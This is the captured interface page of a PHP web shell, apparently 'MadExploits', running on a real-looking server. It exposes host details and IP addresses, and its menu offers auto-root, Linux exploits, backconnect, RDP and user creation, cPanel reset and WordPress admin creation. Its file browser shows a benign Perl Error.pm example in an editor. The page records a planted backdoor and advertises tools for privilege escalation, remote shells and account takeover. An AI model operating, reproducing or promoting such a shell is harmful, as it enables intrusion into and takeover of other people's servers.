Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Error /
examples /
next-in-loop /
[ HOME SHELL ]
Name
Size
Permission
Action
Error.pm-eval.pl
487
B
-rw-r--r--
Error.pm-next-label.pl
442
B
-rw-r--r--
Error.pm-next-out-of-catch.pl
512
B
-rw-r--r--
Error.pm-next.pl
409
B
-rw-r--r--
README
163
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Error.pm-next-out-of-catch.pl
#!/usr/bin/perl use strict; use warnings; use Error qw(:try); use IO::Handle; package MyError; use base 'Error'; package SecondError; use base 'Error'; package main; autoflush STDOUT 1; SHLOMIF_FOREACH: foreach my $i (1 .. 100) { my $caught = 0; try { if ($i % 10 == 0) { throw MyError; } } catch MyError with { my $E = shift; $caught = 1; }; if ($caught) { next SHLOMIF_FOREACH; } print "$i\n"; }
Close
